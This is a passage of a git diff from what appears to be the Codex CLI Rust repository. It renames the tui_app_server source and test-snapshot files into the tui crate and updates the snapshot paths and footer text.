codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugin_detail_popup_installed.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugin_detail_popup_installed.snap index 651a323aa2..71ae46d78d 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugin_detail_popup_installed.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugin_detail_popup_installed.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: popup --- Plugins diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugins_popup_curated_marketplace.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugins_popup_curated_marketplace.snap similarity index 92% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugins_popup_curated_marketplace.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugins_popup_curated_marketplace.snap index 70e6b9d40e..3c46da769c 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugins_popup_curated_marketplace.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugins_popup_curated_marketplace.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: popup --- Plugins diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugins_popup_loading_state.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugins_popup_loading_state.snap similarity index 80% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugins_popup_loading_state.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugins_popup_loading_state.snap index f1f18c1eaf..2b0f6837eb 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugins_popup_loading_state.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugins_popup_loading_state.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: popup --- Plugins diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugins_popup_search_filtered.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugins_popup_search_filtered.snap similarity index 81% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugins_popup_search_filtered.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugins_popup_search_filtered.snap index ab0724d344..d65308fb5b 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugins_popup_search_filtered.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugins_popup_search_filtered.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: popup --- Plugins diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__post_tool_use_hook_events_render_snapshot.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__post_tool_use_hook_events_render_snapshot.snap similarity index 80% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__post_tool_use_hook_events_render_snapshot.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__post_tool_use_hook_events_render_snapshot.snap index 67376a9fbb..722aa89e47 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__post_tool_use_hook_events_render_snapshot.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__post_tool_use_hook_events_render_snapshot.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: combined --- • Running PostToolUse hook: warming the shell diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__pre_tool_use_hook_events_render_snapshot.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__pre_tool_use_hook_events_render_snapshot.snap similarity index 79% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__pre_tool_use_hook_events_render_snapshot.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__pre_tool_use_hook_events_render_snapshot.snap index f9a87c5682..11fa8ab8e3 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__pre_tool_use_hook_events_render_snapshot.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__pre_tool_use_hook_events_render_snapshot.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: combined --- • Running PreToolUse hook: warming the shell diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__preamble_keeps_working_status.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__preamble_keeps_working_status.snap similarity index 87% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__preamble_keeps_working_status.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__preamble_keeps_working_status.snap index b240e4b5f6..7b1381c964 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__preamble_keeps_working_status.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__preamble_keeps_working_status.snap @@ -8,4 +8,4 @@ expression: terminal.backend() " " "› Ask Codex to do anything " " " -" ? for shortcuts 100% context left " +" gpt-5.3-codex default · 100% left · /tmp/project " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__rate_limit_switch_prompt_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__rate_limit_switch_prompt_popup.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__rate_limit_switch_prompt_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__rate_limit_switch_prompt_popup.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_audio_selection_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_audio_selection_popup.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_audio_selection_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_audio_selection_popup.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_audio_selection_popup_narrow.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_audio_selection_popup_narrow.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_audio_selection_popup_narrow.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_audio_selection_popup_narrow.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_microphone_picker_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_microphone_picker_popup.snap similarity index 90% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_microphone_picker_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_microphone_picker_popup.snap index 3095e6da97..00392bc9d1 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_microphone_picker_popup.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_microphone_picker_popup.snap @@ -7,7 +7,7 @@ expression: popup 1. System default Use your operating system default device. -› 2. Unavailable: Studio Mic (current) (disabled) Configured device is not +› Unavailable: Studio Mic (current) (disabled) Configured device is not currently available. (disabled: Reconnect the device or choose another diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__replayed_interrupted_reconnect_footer_row.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__replayed_interrupted_reconnect_footer_row.snap similarity index 81% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__replayed_interrupted_reconnect_footer_row.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__replayed_interrupted_reconnect_footer_row.snap index eb3183f574..381607fa68 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__replayed_interrupted_reconnect_footer_row.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__replayed_interrupted_reconnect_footer_row.snap @@ -1,6 +1,5 @@ --- source: tui/src/chatwidget/tests.rs -assertion_line: 7060 expression: header --- › Ask Codex to do anything diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__review_queues_user_messages_snapshot.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__review_queues_user_messages_snapshot.snap similarity index 85% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__review_queues_user_messages_snapshot.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__review_queues_user_messages_snapshot.snap index a63833e7b2..c60607c075 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__review_queues_user_messages_snapshot.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__review_queues_user_messages_snapshot.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: term.backend().vt100().screen().contents() --- • Working (0s • esc to interrupt) diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__session_start_hook_events_render_snapshot.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__session_start_hook_events_render_snapshot.snap similarity index 80% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__session_start_hook_events_render_snapshot.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__session_start_hook_events_render_snapshot.snap index 2c0caf2712..30dfa78e5b 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__session_start_hook_events_render_snapshot.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__session_start_hook_events_render_snapshot.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: combined --- • Running SessionStart hook: warming the shell diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_copy_no_output_info_message.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_copy_no_output_info_message.snap similarity index 71% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_copy_no_output_info_message.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_copy_no_output_info_message.snap index 7e24b570ee..3ade0924eb 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_copy_no_output_info_message.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_copy_no_output_info_message.snap @@ -1,6 +1,5 @@ --- source: tui/src/chatwidget/tests.rs -assertion_line: 4430 -expression: rendered.clone() +expression: rendered --- • `/copy` is unavailable before the first Codex output or right after a rollback. diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_line_fast_mode_footer.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_line_fast_mode_footer.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_line_fast_mode_footer.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_line_fast_mode_footer.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_line_model_with_reasoning_fast_footer.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_line_model_with_reasoning_fast_footer.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_line_model_with_reasoning_fast_footer.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_line_model_with_reasoning_fast_footer.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_line_model_with_reasoning_plan_mode_footer.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_line_model_with_reasoning_plan_mode_footer.snap similarity index 90% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_line_model_with_reasoning_plan_mode_footer.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_line_model_with_reasoning_plan_mode_footer.snap index 31e3f1891d..0eef02e0a8 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_line_model_with_reasoning_plan_mode_footer.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_line_model_with_reasoning_plan_mode_footer.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: terminal.backend() --- " " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_widget_active.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_widget_active.snap similarity index 87% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_widget_active.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_widget_active.snap index 3acfd95eec..e4fea35445 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_widget_active.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_widget_active.snap @@ -8,4 +8,4 @@ expression: terminal.backend() " " "› Ask Codex to do anything " " " -" ? for shortcuts 100% context left " +" gpt-5.3-codex default · 100% left · /tmp/project " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_widget_and_approval_modal.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_widget_and_approval_modal.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_widget_and_approval_modal.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_widget_and_approval_modal.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_begin_restores_working_status.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_begin_restores_working_status.snap similarity index 87% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_begin_restores_working_status.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_begin_restores_working_status.snap index 3726917d26..9146406a66 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_begin_restores_working_status.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_begin_restores_working_status.snap @@ -8,4 +8,4 @@ expression: terminal.backend() " " "› Ask Codex to do anything " " " -" ? for shortcuts 100% context left " +" gpt-5.3-codex default · 100% left · /tmp/project " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_empty_then_non_empty_after.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_empty_then_non_empty_after.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_empty_then_non_empty_after.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_empty_then_non_empty_after.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_non_empty_then_empty_active.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_non_empty_then_empty_active.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_non_empty_then_empty_active.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_non_empty_then_empty_active.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_non_empty_then_empty_after.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_non_empty_then_empty_after.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_non_empty_then_empty_after.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_non_empty_then_empty_after.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_unknown_end_with_active_exploring_cell.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_unknown_end_with_active_exploring_cell.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_unknown_end_with_active_exploring_cell.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_unknown_end_with_active_exploring_cell.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_after_final_agent_message.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_after_final_agent_message.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_after_final_agent_message.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_after_final_agent_message.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_before_streamed_agent_message.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_before_streamed_agent_message.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_before_streamed_agent_message.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_before_streamed_agent_message.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_status_renders_command_in_single_details_row.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_status_renders_command_in_single_details_row.snap similarity index 78% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_status_renders_command_in_single_details_row.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_status_renders_command_in_single_details_row.snap index 933bc70723..3b7c1ecc4a 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_status_renders_command_in_single_details_row.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_status_renders_command_in_single_details_row.snap @@ -8,4 +8,4 @@ expression: rendered › Ask Codex to do anything - ? for shortcuts 100% context left + gpt-5.3-codex default · 100% left · /tmp/proj… diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_waiting_multiple_empty_after.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_waiting_multiple_empty_after.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_waiting_multiple_empty_after.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_waiting_multiple_empty_after.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__update_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__update_popup.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__update_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__update_popup.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap similarity index 82% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap index bb670570e4..c7e2394230 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs assertion_line: 12789 expression: combined --- diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap.new b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap.new similarity index 82% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap.new rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap.new index bb670570e4..c7e2394230 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap.new +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap.new @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs assertion_line: 12789 expression: combined --- diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__user_shell_ls_output.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__user_shell_ls_output.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__user_shell_ls_output.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__user_shell_ls_output.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/status_surfaces.rs b/codex-rs/tui/src/chatwidget/status_surfaces.rs similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/status_surfaces.rs rename to codex-rs/tui/src/chatwidget/status_surfaces.rs diff --git a/codex-rs/tui_app_server/src/chatwidget/tests.rs b/codex-rs/tui/src/chatwidget/tests.rs similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/tests.rs rename to codex-rs/tui/src/chatwidget/tests.rs diff --git a/codex-rs/tui_app_server/src/cli.rs b/codex-rs/tui/src/cli.rs similarity index 100% rename from codex-rs/tui_app_server/src/cli.rs rename to codex-rs/tui/src/cli.rs diff --git a/codex-rs/tui_app_server/src/clipboard_paste.rs b/codex-rs/tui/src/clipboard_paste.rs similarity index 100% rename from codex-rs/tui_app_server/src/clipboard_paste.rs rename to codex-rs/tui/src/clipboard_paste.rs diff --git a/codex-rs/tui_app_server/src/clipboard_text.rs b/codex-rs/tui/src/clipboard_text.rs similarity index 100% rename from codex-rs/tui_app_server/src/clipboard_text.rs rename to codex-rs/tui/src/clipboard_text.rs diff --git a/codex-rs/tui_app_server/src/collaboration_modes.rs b/codex-rs/tui/src/collaboration_modes.rs similarity index 100% rename from codex-rs/tui_app_server/src/collaboration_modes.rs rename to codex-rs/tui/src/collaboration_modes.rs diff --git a/codex-rs/tui_app_server/src/color.rs b/codex-rs/tui/src/color.rs similarity index 100% rename from codex-rs/tui_app_server/src/color.rs rename to codex-rs/tui/src/color.rs diff --git a/codex-rs/tui_app_server/src/custom_terminal.rs b/codex-rs/tui/src/custom_terminal.rs similarity index 100% rename from codex-rs/tui_app_server/src/custom_terminal.rs rename to codex-rs/tui/src/custom_terminal.rs diff --git a/codex-rs/tui_app_server/src/cwd_prompt.rs b/codex-rs/tui/src/cwd_prompt.rs similarity index 100% rename from codex-rs/tui_app_server/src/cwd_prompt.rs rename to codex-rs/tui/src/cwd_prompt.rs diff --git a/codex-rs/tui_app_server/src/debug_config.rs b/codex-rs/tui/src/debug_config.rs similarity index 100% rename from codex-rs/tui_app_server/src/debug_config.rs rename to codex-rs/tui/src/debug_config.rs diff --git a/codex-rs/tui_app_server/src/diff_render.rs b/codex-rs/tui/src/diff_render.rs similarity index 100% rename from codex-rs/tui_app_server/src/diff_render.rs rename to codex-rs/tui/src/diff_render.rs diff --git a/codex-rs/tui_app_server/src/exec_cell/mod.rs b/codex-rs/tui/src/exec_cell/mod.rs similarity index 100% rename from codex-rs/tui_app_server/src/exec_cell/mod.rs rename to codex-rs/tui/src/exec_cell/mod.rs diff --git a/codex-rs/tui_app_server/src/exec_cell/model.rs b/codex-rs/tui/src/exec_cell/model.rs similarity index 100% rename from codex-rs/tui_app_server/src/exec_cell/model.rs rename to codex-rs/tui/src/exec_cell/model.rs diff --git a/codex-rs/tui_app_server/src/exec_cell/render.rs b/codex-rs/tui/src/exec_cell/render.rs similarity index 100% rename from codex-rs/tui_app_server/src/exec_cell/render.rs rename to codex-rs/tui/src/exec_cell/render.rs diff --git a/codex-rs/tui_app_server/src/exec_command.rs b/codex-rs/tui/src/exec_command.rs similarity index 100% rename from codex-rs/tui_app_server/src/exec_command.rs rename to codex-rs/tui/src/exec_command.rs diff --git a/codex-rs/tui_app_server/src/external_editor.rs b/codex-rs/tui/src/external_editor.rs similarity index 100% rename from codex-rs/tui_app_server/src/external_editor.rs rename to codex-rs/tui/src/external_editor.rs diff --git a/codex-rs/tui_app_server/src/file_search.rs b/codex-rs/tui/src/file_search.rs similarity index 100% rename from codex-rs/tui_app_server/src/file_search.rs rename to codex-rs/tui/src/file_search.rs diff --git a/codex-rs/tui_app_server/src/frames.rs b/codex-rs/tui/src/frames.rs similarity index 100% rename from codex-rs/tui_app_server/src/frames.rs rename to codex-rs/tui/src/frames.rs diff --git a/codex-rs/tui_app_server/src/get_git_diff.rs b/codex-rs/tui/src/get_git_diff.rs similarity index 100% rename from codex-rs/tui_app_server/src/get_git_diff.rs rename to codex-rs/tui/src/get_git_diff.rs diff --git a/codex-rs/tui_app_server/src/history_cell.rs b/codex-rs/tui/src/history_cell.rs similarity index 100% rename from codex-rs/tui_app_server/src/history_cell.rs rename to codex-rs/tui/src/history_cell.rs diff --git a/codex-rs/tui_app_server/src/insert_history.rs b/codex-rs/tui/src/insert_history.rs similarity index 100% rename from codex-rs/tui_app_server/src/insert_history.rs rename to codex-rs/tui/src/insert_history.rs diff --git a/codex-rs/tui_app_server/src/key_hint.rs b/codex-rs/tui/src/key_hint.rs similarity index 100% rename from codex-rs/tui_app_server/src/key_hint.rs rename to codex-rs/tui/src/key_hint.rs diff --git a/codex-rs/tui_app_server/src/lib.rs b/codex-rs/tui/src/lib.rs similarity index 100% rename from codex-rs/tui_app_server/src/lib.rs rename to codex-rs/tui/src/lib.rs diff --git a/codex-rs/tui_app_server/src/line_truncation.rs b/codex-rs/tui/src/line_truncation.rs similarity index 100% rename from codex-rs/tui_app_server/src/line_truncation.rs rename to codex-rs/tui/src/line_truncation.rs diff --git a/codex-rs/tui_app_server/src/live_wrap.rs b/codex-rs/tui/src/live_wrap.rs similarity index 100% rename from codex-rs/tui_app_server/src/live_wrap.rs rename to 